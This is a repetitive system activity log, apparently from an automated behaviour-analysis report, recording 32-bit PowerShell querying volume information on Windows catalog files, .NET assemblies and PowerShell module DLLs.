Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
